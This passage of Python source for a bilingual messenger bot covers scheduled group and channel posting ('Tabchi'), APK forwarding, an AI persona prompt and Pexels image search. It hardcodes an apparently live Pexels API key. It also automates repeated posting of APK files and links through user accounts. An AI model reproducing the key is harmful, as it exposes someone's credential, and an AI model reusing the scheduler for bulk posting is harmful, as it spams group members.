            s2 = {k:v for k,v in s.items() if k not in {"state","at","minutes"}}
            s2["minutes"] = new_value
            state.set(uid, "trx660_task_minutes", **s2)
            globals()["_TRX660_TIME_STATE"] = state.get(uid)
            return await _edit(chat_id, msg_id, _trx660_minutes_text(lang, new_value), _trx01_minutes_kb(lang, new_value))
        if action == "confirm":
            minimum = _trx660_task_min_minutes(s)
            if not current.isdigit() or (len(current) > 1 and current.startswith("0")):
                globals()["_TRX660_TIME_STATE"] = s
                return await _edit(chat_id, msg_id, _trx660_minutes_text(lang, current, "فقط عدد معتبر وارد کن" if not str(lang).lower().startswith("en") else "Enter a valid number"), _trx01_minutes_kb(lang, current))
            minutes = int(current)
            if minutes < minimum:
                globals()["_TRX660_TIME_STATE"] = s
                return await _edit(chat_id, msg_id, _trx660_minutes_text(lang, current, f"حداقل {minimum} دقیقه است" if not str(lang).lower().startswith("en") else f"Minimum is {minimum} minutes"), _trx01_minutes_kb(lang, current))
            if minutes > TRX660_MAX_TASK_MINUTES:
                globals()["_TRX660_TIME_STATE"] = s
                return await _edit(chat_id, msg_id, _trx660_minutes_text(lang, current, "حداکثر ۹۹۹ دقیقه است" if not str(lang).lower().startswith("en") else "Maximum is 999 minutes"), _trx01_minutes_kb(lang, current))
            cfg = _trx660_apk_payload(uid, int(s["account_id"]))
            if not cfg:
                state.pop(uid)
                return await _edit(chat_id, msg_id, "❌ برای این اکانت APK فعال همان پلتفرم تنظیم نشده است.\nاول تنظیم APK را کامل کن.", _trx115_apk_panel_kb(uid, lang))
            state.set(uid, "trx660_task_confirm", **{k:v for k,v in s.items() if k not in {"state","at"}}, interval_seconds=minutes*60, apk_id=int(cfg.get("id") or cfg.get("apk_id") or 0))
            preview_source = f"APK #{int(cfg.get('id') or cfg.get('apk_id') or 0)}" if int(cfg.get('id') or cfg.get('apk_id') or 0) else "فقط لینک دانلود"
            if str(lang).lower().startswith("en"):
                preview = f"🧾 Schedule preview\n\nMode: {'Channel Activity' if s.get('task_kind')=='channel' else 'Tabchi'}\nTarget: {s.get('target')}\nAccount: #{int(s['account_id'])}\nInterval: every {minutes} minutes\nSource: {preview_source}\n\nConfirm this schedule?"
            else:
                preview = f"🧾 **پیش‌نمایش زمان‌بندی**\n\nحالت: **{'فعالیت چنل' if s.get('task_kind')=='channel' else 'تبچی'}**\n🎯 هدف: `{s.get('target')}`\n📱 اکانت: **#{int(s['account_id'])}**\n⏱ فاصله: هر **{minutes} دقیقه**\n📦 منبع: **{preview_source}**\n\nاین زمان‌بندی را تایید می‌کنی؟"
            return await _edit(chat_id, msg_id, preview, IKB([[(trx_sc("✅ Confirm") if str(lang).lower().startswith("en") else "✅ تایید", "trx660.task.confirm"), (trx_sc("❌ Cancel") if str(lang).lower().startswith("en") else "❌ لغو", "cancel")]]))
        return True
    except Exception as exc:
        log.error(f"TRX660 time-pad error: {_mask(str(exc))}")
        return True


# Route final time-pad callbacks to the new minimal, task-aware validator.
_TRX660_OLD_FINAL_DISPATCH = dispatch_cb

async def dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")
    try:
        if data_s.startswith("time_pad:") or data_s.startswith("trx77.min."):
            s = state.get(uid)
            # Convert legacy target stage to our isolated keypad state only for requested task flows.
            if s and s.get("state") in {"trx01_task_minutes", "trx77_task_minutes"} and s.get("task_kind") in {"group", "channel"}:
                if s.get("state") != "trx660_task_minutes":
                    state.set(uid, "trx660_task_minutes", **{k:v for k,v in s.items() if k not in {"state","at"}})
            return await _trx660_time_pad_dispatch(cb_id, uid, lang, chat_id, msg_id, data_s)

        if data_s in {"trx115.task.confirm", "trx660.task.confirm"}:
            s = state.get(uid)
            if not s or s.get("state") not in {"trx115_task_confirm", "trx660_task_confirm"}:
                return await _edit(chat_id, msg_id, "❌ این تایید منقضی شده است.", ai_advanced_menu(lang, uid))
            task_type = "channel" if str(s.get("task_kind")) == "channel" else "group"
            aid = int(s["account_id"])
            target = str(s["target"] or "").strip()
            cfg = _trx660_apk_payload(uid, aid)
            if not cfg:
                state.pop(uid)
                return await _edit(chat_id, msg_id, "❌ APK فعال این پلتفرم پیدا نشد. اول تنظیم APK را کامل کن.", _trx115_apk_panel_kb(uid, lang))
            payload = {
                "send_apk": bool(int(cfg.get("id") or cfg.get("apk_id") or 0)),
                "apk_id": int(cfg.get("id") or cfg.get("apk_id") or 0),
                "source_account_id": int(cfg.get("source_account_id") or aid),
                "platform": _trx660_normalize_platform(cfg.get("platform") or ""),
            }
            created = now()
            existing = db.fetchone(
                "SELECT id FROM ai_tasks WHERE user_id=? AND account_id=? AND task_type=? AND target=? ORDER BY id DESC LIMIT 1",
                (uid, aid, task_type, target),
            )
            if existing:
                tid = int(existing["id"])
                db.execute(
                    "UPDATE ai_tasks SET interval_seconds=?,enabled=1,updated_at=?,meta_json=?,last_run=? WHERE id=?",
                    (int(s["interval_seconds"]), created, json.dumps(payload, ensure_ascii=False), created, tid),
                )
                # Keep only the most recent duplicate enabled row; no deletion.
                db.execute(
                    "UPDATE ai_tasks SET enabled=0,updated_at=? WHERE user_id=? AND account_id=? AND task_type=? AND target=? AND id<>? AND enabled=1",
                    (created, uid, aid, task_type, target, tid),
                )
            else:
                cur = db.execute(
                    """
                    INSERT INTO ai_tasks(user_id,account_id,task_type,target,interval_seconds,message_template,enabled,created_at,updated_at,meta_json,last_run)
                    VALUES(?,?,?,?,?,?,?,?,?,?,?)
                    """,
                    (uid, aid, task_type, target, int(s["interval_seconds"]), "", 1, created, created, json.dumps(payload, ensure_ascii=False), created),
                )
                tid = int(cur.lastrowid)
            state.pop(uid)
            text_ok = (
                f"✅ {'Channel Activity' if task_type=='channel' else 'Tabchi'} started successfully.\n"
                f"Target: {target}\nInterval: every {int(s['interval_seconds'])//60} minutes\nTask: #{tid}"
                if str(lang).lower().startswith("en") else
                f"✅ {'فعالیت چنل' if task_type=='channel' else 'تبچی'} با موفقیت فعال شد\n\n🎯 هدف: {target}\n⏱ هر {int(s['interval_seconds'])//60} دقیقه\n🆔 Task: **#{tid}**"
            )
            return await _edit(chat_id, msg_id, text_ok, ai_advanced_menu(lang, uid))

        # Direct APK-send button: send the selected account's configured source immediately.
        if data_s == "ai.apk.send":
            return await _edit(chat_id, msg_id,
                trx_sc("📤 Send APK\n\nChoose the target platform.") if str(lang).lower().startswith("en") else "📤 **ارسال APK**\n\nپلتفرم مقصد را انتخاب کن.",
                _trx01_platform_only_kb(lang, "trx660.apk_send.platform"))
        if data_s.startswith("trx660.apk_send.platform:"):
            platform = _trx660_normalize_platform(data_s.split(":",1)[1])
            if platform not in TRX660_ALLOWED_PLATFORMS:
                return True
            return await _edit(chat_id, msg_id,
                trx_sc("Choose the target account") if str(lang).lower().startswith("en") else f"📱 اکانت {_trx01_service_label(platform)} را انتخاب کن",
                _trx01_account_kb(uid, lang, "trx660.apk_send.account", platform, back="ai.apk.send"))
        if data_s.startswith("trx660.apk_send.account:"):
            try:
                aid = int(data_s.split(":",1)[1])
            except Exception:
                return True
            account = db.fetchone("SELECT service FROM accounts WHERE id=? AND user_id=? AND enabled=1", (aid, uid))
            if not account:
                return await _edit(chat_id, msg_id, "❌ اکانت پیدا نشد", _trx01_platform_only_kb(lang, "trx660.apk_send.platform"))
            await _trx660_send_configured_apk(chat_id, uid, aid, _trx660_normalize_platform(account["service"]), lang)
            return True

        # Keep all old setup callback contracts, but route them into the new per-platform source flow.
        if data_s in {"apk.setup", "apk.setup.platforms"}:
            return await _edit(chat_id, msg_id,
                trx_sc("📦 APK Setup\n\nChoose a platform.") if str(lang).lower().startswith("en") else "📦 **تنظیم APK**\n\nیک پلتفرم را انتخاب کن.",
                _trx01_platform_only_kb(lang, "trx660.apk_setup.platform"))
        if data_s.startswith("apk.setup.svc:"):
            platform = _trx660_normalize_platform(data_s.split(":",1)[1])
            return await _edit(chat_id, msg_id,
                trx_sc("Choose the source account") if str(lang).lower().startswith("en") else f"📱 اکانت منبع {_trx01_service_label(platform)} را انتخاب کن",
                _trx01_account_kb(uid, lang, "trx660.apk_setup.account", platform, back="apk.setup"))
        if data_s.startswith("trx660.apk_setup.platform:"):
            platform = _trx660_normalize_platform(data_s.split(":",1)[1])
            return await _edit(chat_id, msg_id,
                trx_sc("Choose the source account") if str(lang).lower().startswith("en") else f"📱 اکانت منبع {_trx01_service_label(platform)} را انتخاب کن",
                _trx01_account_kb(uid, lang, "trx660.apk_setup.account", platform, back="apk.setup"))
        if data_s.startswith(("trx660.apk_setup.account:", "trx115.apk.account:", "trx01.apk_setup.account:")):
            try:
                aid = int(data_s.split(":",1)[1])
            except Exception:
                return True
            row = db.fetchone("SELECT id,service FROM accounts WHERE id=? AND user_id=? AND enabled=1", (aid, uid))
            if not row:
                return await _edit(chat_id, msg_id, "❌ اکانت پیدا نشد", _trx115_apk_panel_kb(uid, lang))
            platform = _trx660_normalize_platform(row["service"])
            state.set(uid, "trx660_apk_source_link", platform=platform, account_id=aid, flow_key=f"{uid}:{platform}:{aid}")
            return await _edit(chat_id, msg_id,
                trx_sc("🔗 Send the direct APK message link from the selected platform.") if str(lang).lower().startswith("en") else "🔗 لینک مستقیم همان پیام APK را از پلتفرم انتخاب‌شده بفرست.",
                IKB([[(trx_sc("❌ Cancel") if str(lang).lower().startswith("en") else "❌ لغو", "cancel")]]))

        # New per-platform APK manager.
        if data_s.startswith("trx660.apk.platform:"):
            platform = _trx660_normalize_platform(data_s.split(":",1)[1])
            if platform not in TRX660_ALLOWED_PLATFORMS:
                return True
            cfg = _trx660_get_apk_config(uid, platform)
            status = "تنظیم نشده" if not cfg else ("خاموش" if not int(cfg["enabled"] or 0) else (f"APK #{int(cfg['apk_id'])}" if int(cfg["apk_id"] or 0) else ("فقط لینک" if str(cfg["download_link"] or "").strip() else "ناقص")))
            return await _edit(chat_id, msg_id, f"📦 **{_trx01_service_label(platform)}**\n\nوضعیت: **{status}**\n\nتنظیمات این پلتفرم مستقل از دو پلتفرم دیگر است.", _trx660_platform_manager_kb_for_user(uid, lang, platform))
        if data_s.startswith("trx660.apk.source:"):
            platform = _trx660_normalize_platform(data_s.split(":",1)[1])
            return await _edit(chat_id, msg_id,
                f"📱 اکانتی را انتخاب کن که به منبع APK { _trx01_service_label(platform) } دسترسی دارد:",
                _trx01_account_kb(uid, lang, "trx660.apk.source.account", platform, back=f"trx660.apk.platform:{platform}"))
        if data_s.startswith("trx660.apk.source.account:"):
            aid = int(data_s.split(":",1)[1])
            row = db.fetchone("SELECT service FROM accounts WHERE id=? AND user_id=? AND enabled=1", (aid, uid))
            if not row:
                return await _edit(chat_id, msg_id, "❌ اکانت پیدا نشد", _trx115_apk_panel_kb(uid, lang))
            platform = _trx660_normalize_platform(row["service"])
            state.set(uid, "trx660_apk_source_link", platform=platform, account_id=aid, flow_key=f"{uid}:{platform}:{aid}")
            return await _edit(chat_id, msg_id, "🔗 لینک مستقیم پیام APK را بفرستید:", IKB([[("❌ لغو", "cancel")]]))
        if data_s.startswith("trx660.apk.link:") or data_s.startswith("trx660.apk.desc:") or data_s.startswith("trx660.apk.guide:"):
            platform = _trx660_normalize_platform(data_s.split(":",1)[1])
            if platform not in TRX660_ALLOWED_PLATFORMS:
                return True
            state_name = "trx660_apk_download_link" if data_s.startswith("trx660.apk.link:") else ("trx660_apk_description" if data_s.startswith("trx660.apk.desc:") else "trx660_apk_install_guide")
            state.set(uid, state_name, platform=platform)
            prompt = {
                "trx660_apk_download_link": "🔗 لینک دانلود را بفرست (برای پاک‌کردن /skip):",
                "trx660_apk_description": "📝 متن معرفی APK را بفرست:",
                "trx660_apk_install_guide": "📘 آموزش نصب را بفرست:",
            }[state_name]
            return await _edit(chat_id, msg_id, prompt, IKB([[("❌ لغو", "cancel")]]))
        if data_s.startswith("trx660.apk.toggle:"):
            platform = _trx660_normalize_platform(data_s.split(":",1)[1])
            cfg = _trx660_get_apk_config(uid, platform)
            if not cfg:
                return await _edit(chat_id, msg_id, "❌ اول برای این پلتفرم APK یا لینک منبع ثبت کن.", _trx115_apk_panel_kb(uid, lang))
            new_enabled = 0 if int(cfg["enabled"] or 0) else 1
            db.execute("UPDATE trx660_apk_config SET enabled=?,updated_at=? WHERE user_id=? AND platform=?", (new_enabled, now(), uid, platform))
            return await _edit(chat_id, msg_id, f"✅ وضعیت {_trx01_service_label(platform)}: **{'فعال' if new_enabled else 'خاموش'}**", _trx660_platform_manager_kb_for_user(uid, lang, platform))

        # TRX660 config after legacy remove button
        if data_s.startswith("apk.disable:"):
            try:
                apk_id = int(data_s.split(":", 1)[1])
            except Exception:
                return True
            row = db.fetchone(
                "SELECT src.platform FROM apk_files af LEFT JOIN apk_sources src ON src.apk_id=af.id WHERE af.id=? AND af.user_id=?",
                (apk_id, uid),
            )
            db.execute("UPDATE apk_files SET enabled=0 WHERE id=? AND user_id=?", (apk_id, uid))
            if row and row["platform"]:
                db.execute(
                    "UPDATE trx660_apk_config SET enabled=0,updated_at=? WHERE user_id=? AND platform=? AND apk_id=?",
                    (now(), uid, _trx660_normalize_platform(row["platform"]), apk_id),
                )
            return await _edit(chat_id, msg_id, _trx660_apk_panel_text_final(uid, lang), _trx660_apk_panel_kb(uid, lang))

        if data_s == "ai.tasks":
            rows = db.fetchall("SELECT * FROM ai_tasks WHERE user_id=? ORDER BY id DESC", (uid,))
            running = sum(1 for r in rows if int(r["enabled"] or 0) == 1)
            lines = [f"⏱ **زمان‌بندی‌ها**\n\nفعال: **{running}** | کل: **{len(rows)}"]
            buttons = []
            for r in rows:
                label = "فعالیت چنل" if r["task_type"] == "channel" else "تبچی"
                state_label = "🟢" if int(r["enabled"] or 0) else "🔴"
                lines.append(f"{state_label} #{r['id']} — {label} — هر {max(1,int(r['interval_seconds'] or 0)//60)} دقیقه — {r['target']}")
            buttons.append([("↩️ بازگشت", "ai")])
            return await _edit(chat_id, msg_id, "\n".join(lines), IKB(buttons))
    except Exception as exc:
        log.error(f"TRX660 final dispatch wrapper failed: {_mask(str(exc))}\n{traceback.format_exc(limit=40)}")
    return await _TRX660_OLD_FINAL_DISPATCH(cb_id, uid, lang, u, chat_id, msg_id, data)


def _trx660_platform_manager_kb_for_user(uid, lang, platform):
    en = str(lang or "fa").lower().startswith("en")
    p = _trx660_normalize_platform(platform)
    cfg = _trx660_get_apk_config(uid, p)
    enabled = bool(cfg and int(cfg["enabled"] or 0))
    return IKB([
        [(trx_sc("🔗 Set Source") if en else "🔗 تنظیم منبع", f"trx660.apk.source:{p}"), (trx_sc("🔗 Download Link") if en else "🔗 لینک دانلود", f"trx660.apk.link:{p}")],
        [(trx_sc("📝 Description") if en else "📝 توضیحات", f"trx660.apk.desc:{p}"), (trx_sc("📘 Install Guide") if en else "📘 آموزش نصب", f"trx660.apk.guide:{p}")],
        [((trx_sc("🔴 Disable") if enabled else trx_sc("🟢 Enable")) if en else ("🔴 غیرفعال کردن" if enabled else "🟢 فعال کردن"), f"trx660.apk.toggle:{p}")],
        [(trx_sc("↩️ Back") if en else "↩️ بازگشت", "apk")],
    ])


# ── Send configured APK from the bot-side AI button ─────────────────
async def _trx660_send_configured_apk(chat_id, uid, aid, platform, lang="fa"):
    try:
        cfg = _trx660_apk_payload(uid, aid)
        if not cfg:
            return await bot.send(chat_id, "❌ برای این پلتفرم APK فعال تنظیم نشده است. اول از 📦 مدیریت APK منبع را تنظیم کن.", reply_markup=_trx115_apk_panel_kb(uid, lang))
        apk_id = int(cfg.get("id") or cfg.get("apk_id") or 0)
        sent_file = False
        if apk_id:
            ok, info = await _trx_forward_source_apk_v11(uid, aid, chat_id, apk_id)
            if not ok:
                link = str(cfg.get("download_link") or "").strip()
                if not link:
                    return await bot.send(chat_id, f"❌ ارسال APK انجام نشد: `{str(info)[:200]}`", reply_markup=_trx115_apk_panel_kb(uid, lang))
            else:
                sent_file = True
        if not sent_file and str(cfg.get("download_link") or "").strip():
            await bot.send(chat_id, "🔗 **لینک دانلود APK**\n" + str(cfg["download_link"])[:1200], parse_mode="Markdown")
            # Link-only mode intentionally stops here.
            return True
        info_text = _trx660_apk_info_text(cfg)
        if info_text:
            await bot.send(chat_id, info_text, parse_mode="Markdown")
        if not sent_file and not str(cfg.get("download_link") or "").strip():
            return await bot.send(chat_id, "❌ برای این پلتفرم نه فایل منبع معتبر وجود دارد و نه لینک دانلود تنظیم شده.", reply_markup=_trx115_apk_panel_kb(uid, lang))
        return True
    except Exception as exc:
        log.error(f"TRX660 APK send button failed: {_mask(str(exc))}\n{traceback.format_exc(limit=40)}")
        return await bot.send(chat_id, f"❌ خطای ارسال APK:\n`{str(exc)[:200]}`", reply_markup=_trx115_apk_panel_kb(uid, lang))


# ── Final message router for only the new requested states ───────────
_TRX660_OLD_FINAL_ON_MSG = on_msg

async def on_msg(msg):
    uid = msg.get("from", {}).get("id")
    chat_id = msg.get("chat", {}).get("id")
    txt = (msg.get("text") or "").strip()
    if uid:
        try:
            s = state.get(uid)
            if s and s.get("state") == "trx660_task_confirm":
                return await bot.send(chat_id, "از دکمه ✅ تایید در پیام پیش‌نمایش استفاده کن.")
            if s and s.get("state") == "trx660_task_minutes":
                return await bot.send(chat_id, "⏱ زمان را فقط با دکمه‌های پنل انتخاب کن.", reply_markup=_trx01_minutes_kb(get_lang(uid), s.get("minutes", "")))

            # Convert current target stage into our task-aware keypad stage.
            if s and s.get("state") in {"trx01_task_target", "trx115_task_target"} and s.get("task_kind") in {"group", "channel"}:
                target = txt.strip()
                if not target:
                    return await bot.send(chat_id, "لینک یا آیدی هدف را بفرست.")
                aid = int(s["account_id"])
                valid, resolved, reason = await _trx115_validate_target_v14(uid, aid, target, s["task_kind"])
                if not valid:
                    return await bot.send(chat_id, "❌ " + str(reason), reply_markup=IKB([[('❌ لغو','cancel')]]))
                next_data = {k:v for k,v in s.items() if k not in {"state","at","minutes"}}
                next_data.update({"target": target, "resolved_target": str(resolved), "minutes": ""})
                state.set(uid, "trx660_task_minutes", **next_data)
                globals()["_TRX660_TIME_STATE"] = state.get(uid)
                return await bot.send(chat_id, _trx660_minutes_text(get_lang(uid), ""), reply_markup=_trx01_minutes_kb(get_lang(uid), ""))

            # New APK source/config editors.
            if s and s.get("state") == "trx660_apk_source_link":
                if not txt:
                    return await bot.send(chat_id, "لینک مستقیم پیام APK را بفرست.")
                platform = _trx660_normalize_platform(s.get("platform"))
                aid = int(s["account_id"])
                expected = f"{uid}:{platform}:{aid}"
                if s.get("flow_key") and s.get("flow_key") != expected:
                    state.pop(uid)
                    return await bot.send(chat_id, "❌ این درخواست منقضی شده؛ دوباره از تنظیم APK شروع کن.", reply_markup=_trx115_apk_panel_kb(uid, get_lang(uid)))
                ok, info, row = await _trx660_save_apk_link(uid, aid, platform, txt)
                if not ok:
                    return await bot.send(chat_id, "❌ " + str(info), reply_markup=_trx115_apk_panel_kb(uid, get_lang(uid)))
                state.pop(uid)
                return await bot.send(chat_id, f"✅ APK برای {_trx01_service_label(platform)} تنظیم شد: **{info}**", reply_markup=_trx115_apk_panel_kb(uid, get_lang(uid)))

            if s and s.get("state") in {"trx660_apk_download_link", "trx660_apk_description", "trx660_apk_install_guide"}:
                platform = _trx660_normalize_platform(s.get("platform"))
                value = "" if txt.lower() == "/skip" else txt
                if s["state"] == "trx660_apk_download_link" and value:
                    if not re.match(r"^https?://\S+$", value):
                        return await bot.send(chat_id, "❌ لینک معتبر http/https وارد کن.")
                    _trx660_apk_config_upsert(uid, platform, download_link=value)
                elif s["state"] == "trx660_apk_download_link":
                    _trx660_apk_config_upsert(uid, platform, download_link="")
                elif s["state"] == "trx660_apk_description":
                    _trx660_apk_config_upsert(uid, platform, description=value)
                else:
                    _trx660_apk_config_upsert(uid, platform, install_guide=value)
                state.pop(uid)
                return await bot.send(chat_id, "✅ تنظیمات ذخیره شد.", reply_markup=_trx660_platform_manager_kb_for_user(uid, get_lang(uid), platform))
        except Exception as exc:
            log.error(f"TRX660 final on_msg wrapper failed: {_mask(str(exc))}\n{traceback.format_exc(limit=40)}")
    return await _TRX660_OLD_FINAL_ON_MSG(msg)


# Ensure all final aliases use the requested versions at runtime.
async def _trx660_save_apk_compat(uid, aid, platform, raw_link):
    return await _trx660_save_apk_link(uid, aid, platform, raw_link)

print("[TRX660] additive requested-feature layer loaded")

TRX660_BUILD = "2026-09-23-surgical-v1"


# ═══════════════════════════════════════════════════════════════════
# TRX113 FINAL ADDITIVE PATCH — persona, Pexels, wallet, task controls,
# scheduling hardening, APK wizard, AI analysis quota and Rubika HTTPS OTP.
# This block is inserted immediately before the existing __main__ entrypoint
# so all overrides are active before main() starts. No original block is removed.
# ═══════════════════════════════════════════════════════════════════

# -------------------------------------------------------------------
# 0) Small compatibility/schema guard.
# -------------------------------------------------------------------

def _trx113_ensure_force_join_schema():
    if db is None:
        return
    try:
        _trx660_force_join_migrate_conn(db.conn)
    except Exception as exc:
        log.warning(f"TRX113 force_join schema guard failed: {_mask(str(exc))}")


# -------------------------------------------------------------------
# 1) AI persona — keep old campaign-prompt helpers for compatibility,
#    but replace the visible/editor flow with a per-user persona setting.
# -------------------------------------------------------------------

def _trx_ai_get_persona(uid: int) -> str:
    r = db.fetchone("SELECT value FROM settings WHERE key=?", (f"ai_persona:{uid}",))
    return (r["value"] if r else "") or ""


async def _trx_persona_save(uid: int, value: str):
    db.execute(
        "INSERT OR REPLACE INTO settings(key,value) VALUES(?,?)",
        (f"ai_persona:{uid}", str(value or "")[:4000]),
    )


def ai_advanced_menu(lang, uid):
    u = db.fetchone("SELECT * FROM users WHERE user_id=?", (uid,))
    is_on = bool(u and u["ai_enabled"])
    bindings = db.fetchone("SELECT COUNT(*) c FROM ai_bindings WHERE user_id=? AND enabled=1", (uid,))["c"]
    tasks = db.fetchone("SELECT COUNT(*) c FROM ai_tasks WHERE user_id=? AND enabled=1", (uid,))["c"]
    kb_ok = bool(_trx_ai_get_kb(uid).strip())
    persona_ok = bool(_trx_ai_get_persona(uid).strip())
    en = str(lang or "fa").lower().startswith("en")
    if en:
        return IKB([
            [("🔴 Disable AI" if is_on else "🟢 Enable AI", "ai.tog", "danger" if is_on else "success")],
            [("🧠 Product knowledge", "ai.kb", "primary"), ("🎭 Persona", "ai.persona", "primary")],
            [("🎭 Response tone", "ai.tone", "primary"), ("📊 AI stats", "ai.stats", "primary")],
            [(f"🔗 AI accounts ({bindings})", "ai.bindings", "success")],
            [("💬 Private replies", "ai.pv", "primary"), ("📣 Tabchi", "ai.group", "primary")],
            [("📰 Channel Activity", "ai.channel", "primary"), (f"⏱ Scheduled tasks ({tasks})", "ai.tasks", "primary")],
            [(f"🎯 Knowledge: {'Ready' if kb_ok else 'Empty'} | 🎭 Persona: {'Configured' if persona_ok else 'Empty'}", "ai.info", "primary")],
            [("🏠 Home", "menu", "primary")],
        ])
    return IKB([
        [("🔴 خاموش کردن AI" if is_on else "🟢 روشن کردن AI", "ai.tog", "danger" if is_on else "success")],
        [("🧠 دانش محصول", "ai.kb", "primary"), ("🎭 شخصیت‌دهی", "ai.persona", "primary")],
        [("🎭 لحن پاسخ", "ai.tone", "primary"), ("📊 آمار AI", "ai.stats", "primary")],
        [(f"🔗 اتصال AI به اکانت ({bindings})", "ai.bindings", "success")],
        [("💬 پاسخ خودکار PV", "ai.pv", "primary"), ("📣 تبچی", "ai.group", "primary")],
        [("📰 فعالیت چنل", "ai.channel", "primary"), (f"⏱ تسک‌های زمان‌بندی ({tasks})", "ai.tasks", "primary")],
        [(f"🎯 دانش: {'آماده' if kb_ok else 'خالی'} | 🎭 شخصیت: {'تنظیم‌شده' if persona_ok else 'خالی'}", "ai.info", "primary")],
        [("🏠 خانه", "menu", "primary")],
    ])


def _trx113_ai_system(uid: int, account_id: int, mode: str = "reply", extra: str = "") -> str:
    u = db.fetchone("SELECT * FROM users WHERE user_id=?", (uid,))
    tone = TONE_PROMPT.get((u["tone"] if u else "friendly_ir") or "friendly_ir", "")
    kb = _trx_ai_get_kb(uid)[:8000]
    persona = _trx_ai_get_persona(uid)[:4000]
    if persona.strip():
        persona_block = (
            "══════════ شخصیت و هویت ══════════\n"
            f"{persona}\n"
            "═══════════════════════════════════\n"
            "این شخصیت را در همه پاسخ‌ها به‌صورت سازگار رعایت کن. ویژگی‌های توصیف‌شده مثل نام، لحن، شغل و سبک گفتار را حفظ کن؛ "
            "اما هرگز ادعا نکن که انسان واقعی هستی.\n\n"
        )
    else:
        persona_block = "شخصیت خاصی تنظیم نشده؛ با لحن طبیعی و سازگار با تنظیمات پاسخ بده.\n\n"
    return (
        SAFETY_POLICY + "\n"
        + globals().get("TRX_NATURAL_PERSIAN", "") + "\n"
        + persona_block
        + "You are the AI operating through a connected messenger account. "
          "Never claim to be a human. Do not invent product features, prices, links or facts. "
          "Maintain conversation continuity and do not restart with an unnecessary greeting when memory exists. "
          "Apply the configured persona consistently in private chats, groups, channels, analysis and APK-related answers.\n\n"
        f"MODE: {mode}\n"
        f"TONE: {tone}\n\n"
        f"PRODUCT KNOWLEDGE:\n{kb}\n\n"
        f"ACCOUNT ID: {account_id}\n"
        f"EXTRA CONTEXT:\n{str(extra or '')[:3000]}"
    )


_trx_ai_system = _trx113_ai_system


# -------------------------------------------------------------------
# 2) Pexels image search + safe rate limiting.
# -------------------------------------------------------------------
PEXELS_API_KEY = "11RzZCATfZNUcSNbOinyXDo3xF7pcrukFuRorIm5BWaCatgkCS1a0q0z"
_PEXELS_LAST_CALL = 0.0
_PEXELS_LOCK = None


async def _trx_pexels_search(query: str, orientation: str = "landscape", per_page: int = 5):
    global _PEXELS_LAST_CALL, _PEXELS_LOCK
    if not PEXELS_API_KEY or not str(query or "").strip():
        return None
    if _PEXELS_LOCK is None:
        _PEXELS_LOCK = asyncio.Lock()
    async with _PEXELS_LOCK:
        wait_for = 2.0 - (time.time() - float(_PEXELS_LAST_CALL or 0.0))
        if wait_for > 0:
            await asyncio.sleep(wait_for)
        _PEXELS_LAST_CALL = time.time()
        try:
            await ai.start()
            headers = {"Authorization": PEXELS_API_KEY}
            params = {
                "query": str(query).strip()[:80],
                "orientation": orientation,
                "per_page": max(1, min(int(per_page), 80)),
                "size": "medium",
            }
            async with ai.session.get(
                "https://api.pexels.com/v1/search",
                headers=headers,
                params=params,
                timeout=aiohttp.ClientTimeout(total=15),
            ) as resp:
                raw = await resp.text()
                if resp.status != 200:
                    log.warning(f"Pexels HTTP {resp.status}: {raw[:200]}")
                    return None
                try:
                    data = json.loads(raw)
                except Exception:
                    return None
                photos = data.get("photos") or []
                if not photos:
                    log.info(f"Pexels no image for keyword: {str(query)[:80]}")
                    return None
                src = photos[0].get("src") or {}
                url = src.get("medium") or src.get("large") or src.get("original")
                log.info(f"Pexels keyword='{str(query)[:80]}' image={'found' if url else 'missing'}")
                return url or None
        except Exception as exc:
            log.warning(f"Pexels search failed: {_mask(str(exc))}")
            return None


def _trx113_filename_keyword(name: str) -> str:
    value = re.sub(r"\.apk$", "", str(name or "application"), flags=re.I)
    value = re.sub(r"[_\-.]+", " ", value)
    value = re.sub(r"[^A-Za-z0-9\s]", " ", value)
    words = [w for w in value.split() if w]
    return " ".join(words[:6]) or "mobile application"


async def _trx_extract_image_keyword(uid: int, aid: int, apk_info: dict) -> str:
    apk_name = str(apk_info.get("file_name") or apk_info.get("filename") or "application")
    description = str(apk_info.get("description") or "")
    kb = _trx_ai_get_kb(uid)[:2000]
    try:
        prompt = (
            "Generate ONLY a short English Pexels search query (2 to 6 words) describing the visual theme "
            "of this Android application. Do not return Persian, quotes, punctuation or explanations.\n\n"
            f"APK name: {apk_name}\n"
            f"Description: {description[:1500]}\n"
            f"Product knowledge: {kb}\n"
        )
        result = await ai.chat(
            [
                {"role": "system", "content": "Return only an English 2-6 word visual search query."},
                {"role": "user", "content": prompt},
            ],
            uid=uid,
            account_id=aid,
            action_type="image_keyword",
            temperature=0.3,
            max_tokens=30,
        )
        keyword = str(result or "").strip().split("\n")[0].strip('"\'')
        keyword = re.sub(r"[^A-Za-z0-9\s\-]", "", keyword)
        keyword = " ".join(keyword.split())
        if keyword and not re.search(r"[\u0600-\u06ff]", keyword):
            log.info(f"TRX113 image keyword: {keyword[:80]}")
            return keyword[:80]
    except Exception as exc:
        log.warning(f"TRX113 image keyword extraction failed: {_mask(str(exc))}")
    fallback = _trx113_filename_keyword(apk_name)
    log.info(f"TRX113 image keyword fallback: {fallback}")
    return fallback


async def _trx660_send_image_to_target_legacy(client, target, image_url: str, caption: str = ""):
    if not image_url:
        return False
    tmp_path = None
    try:
        dest = await _trx_resolve_target(client, target)
    except Exception as exc:
        log.warning(f"TRX113 image target resolve failed: {_mask(str(exc))}")
        return False

    send_photo = getattr(client, "send_photo", None)
    if send_photo:
        try:
            await _trx_maybe_await(send_photo(dest, image_url))
            log.info(f"TRX113 image send success via send_photo target={str(target)[:80]}")
            return True
        except Exception as exc:
            log.debug(f"TRX113 send_photo failed: {_mask(str(exc))}")

    send_file = getattr(client, "send_file", None)
    if send_file:
        try:
            await _trx_maybe_await(send_file(dest, image_url))
            log.info(f"TRX113 image send success via send_file target={str(target)[:80]}")
            return True
        except Exception as exc:
            log.debug(f"TRX113 send_file URL failed: {_mask(str(exc))}")

    try:
        await ai.start()
        async with ai.session.get(image_url, timeout=aiohttp.ClientTimeout(total=20)) as resp:
            if resp.status != 200:
                log.warning(f"TRX113 image download HTTP {resp.status}")
                return False
            content = await resp.read()
        import tempfile
        with tempfile.NamedTemporaryFile(suffix=".jpg", delete=False) as tmp:
            tmp.write(content)
            tmp_path = tmp.name

        if send_file:
            try:
                await _trx_maybe_await(send_file(dest, tmp_path))
                log.info(f"TRX113 image send success via downloaded file target={str(target)[:80]}")
                return True
            except Exception as exc:
                log.debug(f"TRX113 downloaded send_file failed: {_mask(str(exc))}")

